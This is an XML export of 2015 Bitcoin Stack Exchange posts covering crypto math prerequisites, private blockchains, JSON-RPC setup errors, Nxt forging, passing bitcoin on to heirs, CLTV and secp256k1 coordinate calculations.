  <row Id="38713" PostTypeId="1" AcceptedAnswerId="38717" CreationDate="2015-07-21T03:59:08.700" Score="7" ViewCount="394" Body="&lt;p&gt;My mathematical knowledge is up to CALC II (college level.) Is this enough mathematical maturity in order to understand the crypto in bitcoin or do I need more knowledge? If I do indeed need more knowledge than please point me to good books/resources to learn them. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="27539" LastEditorUserId="2306" LastEditDate="2015-07-21T05:34:05.533" LastActivityDate="2015-07-21T08:46:29.207" Title="What level of mathematical understanding do I need in order to contribute or to understand the crypto behind bitcoin?" Tags="|bitcoin-core|cryptography|learning|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38714" PostTypeId="2" ParentId="38711" CreationDate="2015-07-21T04:05:39.017" Score="1" Body="&lt;p&gt;Another use case is where the 'permissioned' participants are a limited group of cooperating parties, where there is no particular enduring trust.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The NASDAQ example is this use case. A known set of participants who currently remove the trust requirements by manual records (usually spread sheets) and expensive lawyers. That is a very expensive and slow process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A blockchain style shared database, whilst slower than an SQL DB, solves the proof of integrity in this case both faster and less expensively than the current manual/legal processes.&lt;/p&gt;&#xA;" OwnerUserId="27540" LastActivityDate="2015-07-21T04:05:39.017" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="38715" PostTypeId="2" ParentId="38711" CreationDate="2015-07-21T05:27:31.240" Score="7" Body="&lt;p&gt;Private blockchains can be seen as a new method for ensuring consistency in a distributed database, &lt;em&gt;even if that database is an environment of perfect trust&lt;/em&gt;. There is an equivalence between how a blockchain prevents two transactions spending the same prior transaction output, and how &lt;a href=&quot;https://en.wikipedia.org/wiki/Multiversion_concurrency_control&quot; rel=&quot;noreferrer&quot;&gt;multiversion concurrency control&lt;/a&gt; (MVCC) in a relational database prevents two transactions modifying/deleting the same database row. (From the perspective of the MVCC storage layer, there is no such thing as modifying a row in place.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means that a private blockchain can provide the same kind of concurrency control as MVCC, but in a distributed database which can be written to from many different locations simultaneously (&lt;a href=&quot;https://en.wikipedia.org/wiki/Multi-master_replication&quot; rel=&quot;noreferrer&quot;&gt;multi-master replication&lt;/a&gt;). A blockchain is certainly not an ideal solution for all scenarios like this, but if the row size is small, transactions affect few rows, and conflicts only happen if someone is misbehaving, a private blockchain can maintain provable consistency (through a single hash!) across many nodes of a distributed database, all of which can write to the data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When it comes to maintaining a shared database between entities with &lt;em&gt;imperfect trust&lt;/em&gt;, private blockchains have some great additional features:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;The database can contain application logic in the form of constraints on valid transactions. This kind of constraint goes beyond regular database stored procedures because it cannot be circumvented under any circumstances.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The database has per-row permissions which use public key cryptography. Furthermore, every transaction presents a publicly auditable proof that its creator(s) had the right to delete/modify its prior rows.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Of course, not by coincidence, these are very relevant features for inter-company financial ledger databases.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's a more detailed explanation in my post: &lt;a href=&quot;http://www.multichain.com/blog/2015/07/bitcoin-vs-blockchain-debate/&quot; rel=&quot;noreferrer&quot;&gt;Ending the bitcoin vs blockchain debate&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="27169" LastEditorUserId="27169" LastEditDate="2015-07-23T14:06:15.360" LastActivityDate="2015-07-23T14:06:15.360" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="38716" PostTypeId="2" ParentId="38711" CreationDate="2015-07-21T06:50:19.163" Score="9" Body="&lt;p&gt;Signed commitments with immutable history are all that’s required for proof of integrity. Moreover, assuming commitments are immutable (transactions can only be reversed by adding a new commitment that reverses the actions of the previous commitment), you only need to keep track of the most recent commitment. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the commitment signer is a known entity, a single honest &quot;auditor&quot; is all that's required to keep the commitment signer honest. Anyone closely watching the signer will be able to easily prove the signer modified the history.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Database transactions needn’t be represented via clunky, inefficiently implemented transition functions (i.e. connecting a block), and the argument that git is more of a filesystem than a database is somewhat irrelevant…the same principles apply to nonhierarchical data structures (i.e. DAGs) subject to arbitrary transition functions (i.e. smart contracts).&lt;/p&gt;&#xA;" OwnerUserId="27541" LastEditorUserId="27541" LastEditDate="2015-07-21T07:19:21.470" LastActivityDate="2015-07-21T07:19:21.470" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38717" PostTypeId="2" ParentId="38713" CreationDate="2015-07-21T08:46:29.207" Score="4" Body="&lt;p&gt;I'm no expert, but hopefully this answer helps a bit. In my opinion you only need about year 11 calculus and algebra to understand the basics of elliptic curves and modular arithmetic. You can learn everything you need to know by googling and watching youtube videos. Here are some resources:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.royalforkblog.com/2014/09/04/ecc/&quot; rel=&quot;nofollow&quot;&gt;a layman's guide to elliptic curves&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/mulllhausen/visual-secp256k1&quot; rel=&quot;nofollow&quot;&gt;a visual guide to secp256k1 i started (incomplete but still useful)&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.khanacademy.org/computing/computer-science/cryptography/modarithmetic/a/what-is-modular-arithmetic&quot; rel=&quot;nofollow&quot;&gt;an introduction to modular math by the khan academy&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;and if you are familiar with python or keen to learn then &lt;a href=&quot;https://github.com/vbuterin/pybitcointools&quot; rel=&quot;nofollow&quot;&gt;pybitcointools&lt;/a&gt; has a native implementation of all elliptic curve functions used by bitcoin. once you are familiar with the math then this code will be very useful for verifying your results.&lt;/p&gt;&#xA;" OwnerUserId="2116" LastActivityDate="2015-07-21T08:46:29.207" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38719" PostTypeId="1" CreationDate="2015-07-21T11:27:58.407" Score="1" ViewCount="1129" Body="&lt;p&gt;I got bitcoind working in the cmd prompt;&#xA;Then I closed it and opened bitcoin-qt and that is now running in server mode; (bitcoinf server=1)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I run some simple .php on my localhost (using xampp apache engine) and this line of code is not working : &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;$bitcoin = new&#xA;  jsonRPCClient('&lt;a href=&quot;https://user:password@192.168.0.2:8333/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://user:password@192.168.0.2:8333/&lt;/a&gt;');&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I get this error :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;  Notice:  fopen(): send of 24 bytes failed with errno=10053 An&#xA;&amp;gt; established connection was aborted by the software in your host&#xA;&amp;gt; machine.  in C:\xampp\htdocs\xampp\jsonRPCClient.php on line 132&#xA;&amp;gt; &#xA;&amp;gt; Fatal error:  Uncaught exception 'Exception' with message 'Incorrect&#xA;&amp;gt; response id (request id: 1, response id: )' in&#xA;&amp;gt; C:\xampp\htdocs\xampp\jsonRPCClient.php:152 Stack trace:&#xA;&amp;gt; #0 C:\xampp\htdocs\xampp\hello.php(14): jsonRPCClient-&amp;gt;__call('getinfo', Array)&#xA;&amp;gt; #1 C:\xampp\htdocs\xampp\hello.php(14): jsonRPCClient-&amp;gt;getinfo()&#xA;&amp;gt; #2 {main}   thrown in C:\xampp\htdocs\xampp\jsonRPCClient.php on line 152&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and here is my port status :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GsOll.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am running bitcoin-qt in server mode (=1) and the port status for 8333 is &quot;sent&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;my XAMPP Netstat also shows that the port is properly open :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wbOlg.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also tried this line &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;jsonRPCClient('&lt;a href=&quot;https://bitcoinrpc:12345@192.168.0.2:8333/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://bitcoinrpc:12345@192.168.0.2:8333/&lt;/a&gt;');&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;because my bitcoin.conf is&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;server=1 rpcuser=bitcoinrpc rpcpassword=12345 listen=1 rpcssl=1&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;still no joy - get the same error !&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WHAT MORE CAN I DO to get it to work !!!! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help much appreciated !&lt;/p&gt;&#xA;" OwnerUserId="27433" LastActivityDate="2015-10-19T12:44:29.217" Title="jsonRPCClient.php not working" Tags="|json-rpc|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38720" PostTypeId="2" ParentId="38719" CreationDate="2015-07-21T11:35:47.420" Score="1" Body="&lt;p&gt;RPC port is 8332 by default for mainnet, 8333 is the Bitcoin network protocol port.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, be sure to set the rpcallowip variable if you are connecting to the node from another host on the network (non-localhost connections are blocked by default).&lt;/p&gt;&#xA;" OwnerUserId="27545" LastActivityDate="2015-07-21T11:35:47.420" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38721" PostTypeId="5" CreationDate="2015-07-21T12:51:33.257" Score="0" Body="" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2015-07-21T12:51:33.257" LastActivityDate="2015-07-21T12:51:33.257" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38722" PostTypeId="4" CreationDate="2015-07-21T12:51:33.257" Score="0" Body="Collects questions about recovering bitcoins after someone's passing, and preparing your cryptocurrency assets to be bequeathed to your heirs." OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2017-08-30T17:51:50.127" LastActivityDate="2017-08-30T17:51:50.127" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38724" PostTypeId="1" AcceptedAnswerId="38730" CreationDate="2015-07-21T14:58:02.433" Score="3" ViewCount="809" Body="&lt;p&gt;I've read both the &lt;a href=&quot;https://wiki.nxtcrypto.org/wiki/Whitepaper:Nxt&quot; rel=&quot;nofollow&quot;&gt;Nxt whitepaper&lt;/a&gt; and many other resources on the wiki but I still can't seem to understand how exactly the forging process works. From what I understand, there are a bunch of online users with their account &quot;unlocked&quot; (so they can sign the next block if they win). I don't understand how the winner (or the next forger) is decided. Is it random, or is it based on how many nxt coins one has?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example let's imagine there are three users online with their accounts &quot;unlocked&quot;: Alice (has 40 nxt), Bob (has 55 nxt) and Fred (has 13 nxt). The &lt;a href=&quot;https://wiki.nxtcrypto.org/wiki/FAQ#Forging&quot; rel=&quot;nofollow&quot;&gt;wiki&lt;/a&gt; says:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Your probability of forging a block depends on your share of the total&#xA;  number of coins that are active on the network.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If that's true, wouldn't Bob (who has more coins than Alice and Fred) win the block generation every time? But then how is it possible that even accounts with little coins are still able to win at forging? Does it have something to do with the fact that the winning forger has to wait 1440 blocks before they can forge again? Is this what gives a &quot;chance&quot; to the less-rich users to win sometimes?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, if Bob is winning every time, couldn't he just go back the last 10 blocks or so and replace them with different blocks?&lt;/p&gt;&#xA;" OwnerUserId="8717" LastActivityDate="2015-07-22T12:35:06.363" Title="How is the next forger decided in Nxt?" Tags="|nxt|proof-of-stake|forging|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38725" PostTypeId="2" ParentId="38530" CreationDate="2015-07-21T18:18:17.070" Score="1" Body="&lt;p&gt;The miners &lt;em&gt;create&lt;/em&gt; the blockchain, most of them don't keep track of it directly, just the mining pool operators, and (if there still are some) the  solo miners.&lt;br&gt;&#xA;Actually, as the recent blockchain fork shows, &lt;a href=&quot;https://bitcoin.stackexchange.com/a/38439/5406&quot;&gt;not even all mining pool operators are reliably checking the blockchain&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, ultimately, the checking is mostly done by full nodes, which also provide data to SPV wallets. If you are running Bitcoin-Core, you are part of those that provide this verification.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that's not what you are interested in signing up for, you might be happier with a lightweight wallet.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2015-07-22T00:31:49.143" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38729" PostTypeId="2" ParentId="38692" CreationDate="2015-07-22T11:56:26.973" Score="3" Body="&lt;p&gt;&lt;strong&gt;Points for Hot Wallet Inheritability:&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Lower exposure to risks - use hot wallets that are &lt;strong&gt;BIP 39&lt;/strong&gt; compliant and share your 12 to 24 recovery passphrase and associated password in advance.&lt;/li&gt;&#xA;&lt;li&gt;Higher exposure to risk - share passwords on your devices that have hot wallets.  &lt;strong&gt;BIP 32&lt;/strong&gt; compliant wallets make it easy to have the same logical wallet deployed on to multiple devices (e.g., cell phone and tablet). &lt;/li&gt;&#xA;&lt;li&gt;Highest exposure to risks - preload multiple instances of hot wallets on their devices.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Points for Cold Wallet Inheritability:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://github.com/cantonbecker/bitcoinpaperwallet&quot; rel=&quot;nofollow&quot;&gt;BIP 38 compliant paper wallets&lt;/a&gt;&lt;/strong&gt; allow your paper wallet's Wallet Import Format (WIF) private key (Base58Check encoded) to be AES encrypted, recoverable with a password.  If you are worried about hiding the amount of the funds, just be sure your paper wallets do not have associated cryptocurrency addresses printed on them. (Cryptocurrency addresses are derived from associated associated private keys. If the private keys are encrypted, and an associated public addresses are not exposed, the amount of funds saved can remains a secret.)  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;A &lt;strong&gt;multi-party escrow&lt;/strong&gt; service is required to ensure your funds don't get spent before the &quot;big event&quot;. Either an on-blockchain multisig service can be applied with m of n signatures being required or an off-blockchain &lt;a href=&quot;http://point-at-infinity.org/ssss/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Shamir's Shared Secret&lt;/strong&gt;&lt;/a&gt; can be applied.  The take-away point is that a sealed will is used as a mechanism (or a trusted 3rd party) is used to release the funds. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;High tech approach, less privacy&lt;/strong&gt; where m of n signatures come together for an on-blockchain approach, which doesn't have the desired privacy.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Low tech approach, desired privacy&lt;/strong&gt; where enough Shamir Shared Secrets need to come together to reconstitute a passwords used by BIP 38 compliant paper wallets. Each heir could have their own unique paper wallets with a common passwords shared across all the wallets. It is also easier to change a will using this approach. The redistribution of updated shared secrets also gets the point across that either you are upset or happy with the behavior of your heirs.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;FYSA, Some hot wallet application directly support the importation of BIP 38 encoded keys. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;WARNING: As with all backup and recovery processes, perform dry-run tests in advance to be certain the backup and recovery processes are working properly.&lt;/strong&gt;  Also, perform key generation on a computer (preferably a spare one) that will never be connected to a network again,&lt;br&gt;&#xA;print on a network enabled printer private cryptocurrency keys unless they are encrypted using something like BIP 38.&lt;/p&gt;&#xA;" OwnerUserId="10377" LastActivityDate="2015-07-22T11:56:26.973" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38730" PostTypeId="2" ParentId="38724" CreationDate="2015-07-22T12:35:06.363" Score="1" Body="&lt;p&gt;Which account is entitled to forge the next block depends on several things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The last block added to the blockchain includes a 32-byte &quot;generation signature&quot; (actually a hash). This signature is concatenated with the public key of each account attempting to forge the next block, then sha256 hashed to produce a new generation signature to be included in the next block, the block currently being forged. The 8 most significant bytes of the new signature are combined into a 64-bit integer in reverse order (little endian) to determine the &quot;hit&quot; value of each account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These hit values are effectively random and can't be known before the latest block is added to the blockchain, but after that they are known throughout the network. Any account receiving a newly forged block from the network can verify that the generating (forging) account is eligible to forge, because it knows the last block's generation signature and the public key of the forger, both of which are included in the new block, and thus can compute the hit value for any account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because the hit value is effectively random, every account with a non-zero EffectiveBalance has a chance to forge. A low hit value is desirable, because then even an account with a low balance can get a hit. The formula for getting a hit is&lt;/p&gt;&#xA;&#xA;&lt;p&gt;hit &amp;lt; BaseTarget * EffectiveBalance * TimeSinceLastBlock&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The BaseTarget is dynamically adjusted with each new block so that a hit occurs somewhere on the network about once per minute. A hit will eventually occur even if the hit value is by chance very high, because it becomes easier to get a hit with each passing second because of the TimeSinceLastBlock (in seconds) term.&lt;/p&gt;&#xA;" OwnerUserId="20940" LastActivityDate="2015-07-22T12:35:06.363" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="38731" PostTypeId="1" AcceptedAnswerId="38732" CreationDate="2015-07-22T12:36:22.590" Score="0" ViewCount="394" Body="&lt;p&gt;The title says it all. How can one perform a op_checklocktimeverify transaction using bitcoin core? I've searched around and I've found a few repo's on github but nothing about how to do it in the console. I was thinking it would be something that you would just tack onto the end of a raw tx like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;createrawtransaction '[{&quot;txid&quot;:&quot;&quot;,&quot;vout&quot;:}]' '{&quot;receive_address&quot;:0.02}' '{&quot;op_checklocktimeverify&quot;:desired_block_height}'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="26873" LastActivityDate="2015-11-17T21:46:31.357" Title="Is it possible to execute a CLTV transaction in bitoin core 0.11 console?" Tags="|transactions|bitcoin-core|raw|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38732" PostTypeId="2" ParentId="38731" CreationDate="2015-07-22T13:39:59.247" Score="-1" Body="&lt;p&gt;&lt;code&gt;OP_CHECKTIMELOCKVERIFY&lt;/code&gt;is not currently implemented in Bitcoin Core and thus can not be used. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastActivityDate="2015-07-22T13:39:59.247" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38733" PostTypeId="2" ParentId="38692" CreationDate="2015-07-22T14:20:32.193" Score="0" Body="&lt;p&gt;At the time of writing (summer 2015), the uk jurisdiction has not defined a specific inheritance tax for bitcoins.  There might be some catchall wording in the existing legislation so that it does not matter to HMRC whether your jewellry box contained gold, silver, rubies, greek bonds, or something else; if it is insured as worth some £ then the taxman will want £.  Check with a solicitor in your own country for catchall wording in the applicable inheritance tax legislation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your wallet uses Electrum then your hot wallet and cold wallet passdown may be acheived by the same means:&#xA;i) make sure that you have shown at least one of your next of kin how to install an Electrum bitcoin wallet, &#xA;AND&#xA;how to get a wallet recovered when it first runs and asks the question ?restore wallet from existing passphrase or create a new one?&#xA;ii) in a sealed envelope, in good ink on acid-free paper, write down your passphrase.  This may look like 12 or more words in lowercase separated by spaces.&#xA;iii) stash that envelope at the bottom of your jewellrybox.  Follow the 2006 tax advice of George Osbourne and you can't be doing anything which is wrong according to him.&lt;/p&gt;&#xA;" OwnerUserId="27569" LastActivityDate="2015-07-22T14:20:32.193" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38734" PostTypeId="2" ParentId="1906" CreationDate="2015-07-22T17:59:22.553" Score="-2" Body="&lt;p&gt;I've been evaluating some bitcoin clients and my nastiest one; bitcoin-qt on a ten year old single-core 32-bit intel with 512MB RAM has been struggling all week and it has still only got to 22GB of 34GB of the blockchain loaded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This morning after it crashed, the next restart required &quot;rescan&quot; which took an hour before it could resume downloading the full blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've had much better luck with Electrum (bitcoin wallet application; without the whole blockchain) which works fine on both the 512MB singlecore and on the 1024MB quadcore raspberryPi.  That starts up in 1 to 2 minutes.&lt;/p&gt;&#xA;" OwnerUserId="27569" LastActivityDate="2015-07-22T17:59:22.553" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38736" PostTypeId="1" CreationDate="2015-07-23T00:06:28.593" Score="0" ViewCount="444" Body="&lt;p&gt;I would like to apply blockchaining on unstructured data (any kind of data). I have seen BlockSign use similar concept to sign a document by storing a hash of the document in OP_RETURN block of Bitcoin. I was wondering how to do something similar but for a non-structured data type to ensure privacy and verification of the data in question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any links, articles or papers to programmatically do this would be ideal. I searched myself and found something called as ethereum but I don't think that satisfies my requirements.&lt;/p&gt;&#xA;" OwnerUserId="27580" LastActivityDate="2015-08-23T15:03:39.307" Title="How to apply blockchaining to data?" Tags="|blockchain|privacy|trust|data-security|user-data|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="38737" PostTypeId="1" CreationDate="2015-07-23T01:22:07.080" Score="1" ViewCount="1359" Body="&lt;p&gt;I am aware it is possible to use &quot;importaddress&quot; to import bitcoin addresses without their associated private keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For an online shop that uses &quot;getnewaddress&quot; in order to present a customer with an address, is it possible for &quot;getnewaddress&quot; to only ever serve up &quot;watch-only&quot; addresses?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ie - I do not want the Bitcoin core wallet to create new addresses. I want to use &quot;importaddress&quot; to import 10k watch-only addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is the above possible? And, if so, what is the expected behaviour of &quot;getnewaddress&quot; in the event of all 10k watch-only addresses being used up?&lt;/p&gt;&#xA;" OwnerUserId="27581" LastActivityDate="2015-07-24T11:10:42.547" Title="getnewaddress and watch-only addresses (importaddress)" Tags="|watch-only|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38738" PostTypeId="2" ParentId="38361" CreationDate="2015-07-23T01:45:39.203" Score="1" Body="&lt;p&gt;Use this: %.%.%.%&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It mentions this in the IP Whitelist section, found in Account settings then IP Restrictions.&lt;/p&gt;&#xA;" OwnerUserId="27582" LastActivityDate="2015-07-23T01:45:39.203" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38740" PostTypeId="1" AcceptedAnswerId="38803" CreationDate="2015-07-23T08:13:18.697" Score="6" ViewCount="2968" Body="&lt;p&gt;How to get X value from Y?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/32634/ecdsa-x-y-coordinate-validity-verification-doesnt-seem-to-work#&quot;&gt;ECDSA x,y coordinate validity verification doesn&amp;#39;t seem to work&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;X = 0x79be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Python code,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;p = 0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffefffffc2f&#xA;x = 0x79be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798&#xA;ysquared = ((x*x*x+7) % p)    &#xA;print &quot;ysquared= %s &quot; % hex(ysquared)    &#xA;y = pow(ysquared, (p+1)/4, p)&#xA;print &quot;y1 = %s &quot; % hex(y)&#xA;print &quot;y2 = %s &quot; % hex(y * -1 % p)&#xA;&#xA;Output&#xA;Y1 = 0x483ada7726a3c4655da4fbfc0e1108a8fd17b448a68554199c47d08ffb10d4b8&#xA;Y2 = 0xb7c52588d95c3b9aa25b0403f1eef75702e84bb7597aabe663b82f6f04ef2777&#xA;&#xA;print hex((x**3 + 7 - y1**2) % p)  // output 0&#xA;&#xA;print hex((x**3 + 7 - y2**2) % p) // output 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;above python code to get Two possible y values from x&lt;/p&gt;&#xA;&#xA;&lt;p&gt;like the same how to get possible x values from y?,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it any formula or script available&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;My question is how to get x value from y&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if y value &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Y = 0x483ada7726a3c4655da4fbfc0e1108a8fd17b448a68554199c47d08ffb10d4b8&lt;/p&gt;&#xA;&#xA;&lt;p&gt;above y value how to get x value &lt;/p&gt;&#xA;" OwnerUserId="26602" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2020-04-05T17:20:55.553" Title="Bitcoin how to get X value from Y" Tags="|transactions|bitcoind|address|signature|ecdsa|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38742" PostTypeId="2" ParentId="38737" CreationDate="2015-07-23T09:44:40.437" Score="1" Body="&lt;p&gt;I don't thing your approach makes sense. Why would you &lt;code&gt;importaddress&lt;/code&gt; as watch only and give them out over &lt;code&gt;getnewaddress&lt;/code&gt;? Do you try to missuse bitcoind as a address database (&lt;code&gt;importaddress&lt;/code&gt; = store  |   &lt;code&gt;getnewaddress&lt;/code&gt; = retrieve)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need endless amounts of addresses, you probably like to switch to Bip32 (a.k.a HDWallets). There is a experimental patch for bitcoin-core (&lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/6265&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin/pull/6265&lt;/a&gt;) which would allow you to call &lt;code&gt;hdgetaddress&lt;/code&gt; without having the master seed (private key) in the wallet.&lt;/p&gt;&#xA;" OwnerUserId="3697" LastActivityDate="2015-07-23T09:44:40.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38743" PostTypeId="2" ParentId="38737" CreationDate="2015-07-23T12:23:04.087" Score="1" Body="&lt;p&gt;There are libraries out there built upon bitcoind. These libraries pull with 'getnewaddress'. However, bitcoind will automatically generate new keys once the keypool is exhausted. I was attempting to avoid having private keys on the server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another method could be to regularly sweep incoming funds..&lt;/p&gt;&#xA;" OwnerUserId="27592" LastActivityDate="2015-07-23T12:23:04.087" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38744" PostTypeId="1" AcceptedAnswerId="38749" CreationDate="2015-07-23T13:33:55.213" Score="1" ViewCount="558" Body="&lt;p&gt;I'm try get pending balance from wallet, but results do not match with pending transactions? Thanks for advice!&lt;/p&gt;&#xA;" OwnerUserId="27532" LastActivityDate="2015-07-23T17:55:55.943" Title="How to get pending balance in with bitcoinj?" Tags="|bitcoinj|balance|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38745" PostTypeId="2" ParentId="38736" CreationDate="2015-07-23T14:05:05.693" Score="0" Body="&lt;p&gt;You can use the blockchain to store up to 80 bytes in a OP_RETURN transaction.&#xA;Mind, that you need to pay a fee for this transaction (value is depending on fast you like to get you OP_RETURN TX confirmed/mined).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Storing files on the blockchain is obviously not possible, though, you can store a hash of a file to create a guarantee that this particular file has existed at this point in time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every file has its unique hash (you could use SHA256 as hashing algorithm).&lt;/p&gt;&#xA;" OwnerUserId="3697" LastActivityDate="2015-07-23T14:05:05.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
